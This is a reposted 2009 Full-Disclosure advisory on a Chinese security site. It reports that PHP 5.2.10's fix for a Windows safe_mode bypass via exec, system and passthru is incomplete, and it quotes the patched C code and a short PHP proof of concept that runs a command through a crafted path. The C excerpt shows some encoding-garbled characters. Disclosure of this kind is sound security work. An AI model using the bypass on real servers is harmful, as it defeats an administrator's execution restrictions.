首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP version 5.2.10 has an invalid fix for the safe_mode bypass with exec/system/
来源:http://www.80vul.com 作者:hitest 发布时间:2009-06-22  
[PHP safe_mode bypass with exec/system/passthru] Once again

php public new version :php5.2.10 ,and it fix lots of bugs, like this :

Bug #45997[safe_mode bypass with exec/system/passthru] incorrect fix

php5.2.10

...
������ b = strrchr(cmd, PHP_DIR_SEPARATOR);
#ifdef PHP_WIN32
������ if (b && *b == '\\' && b == cmd) {
���������� php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid
absolute path.");
���������� goto err;
������ }
#endif
...

exec('\dir') not be evaluated, but exec('80vul\b\dir') will.

POC:

<?php
//updata:2009-6-19
// safe_mode=On and safe_mode_exec_dir not set in php.ini
// test on win32

�echo exec('80vul\b\dir');
//�system('80vul\b\dir');
//�passthru('80vul\b\dir');

?>


reference:

http://www.80vul.com/pch/pch-006.txt
http://hi.baidu.com/80vul_b/blog/item/8e0ea6cea6378f34f9dc614a.html
http://www.milw0rm.com/exploits/8799
http://bugs.php.net/bug.php?id=45997

-- 
hitest

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PEEL E-Commerce suffers from a
·Safari on the Apple iPhone suf
·NetBSD/x86 kill all processes
·Edraw PDF Viewer Component < 3
·Multiple Exploiting IE8/IE7 XS
·DESlock+ 4.0.2 dlpcrypt.sys Lo
·compface <= 1.5.2 (XBM File) L
·FretsWeb 1.2 (name) Remote Bli
·Multiple HTTP Server Low Bandw
·Safari 3.2.3 Arbitrary Code Ex
·XOOPS <= 2.3.3 Remote File Dis
·pmaPWN! - phpMyAdmin Code Inje
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved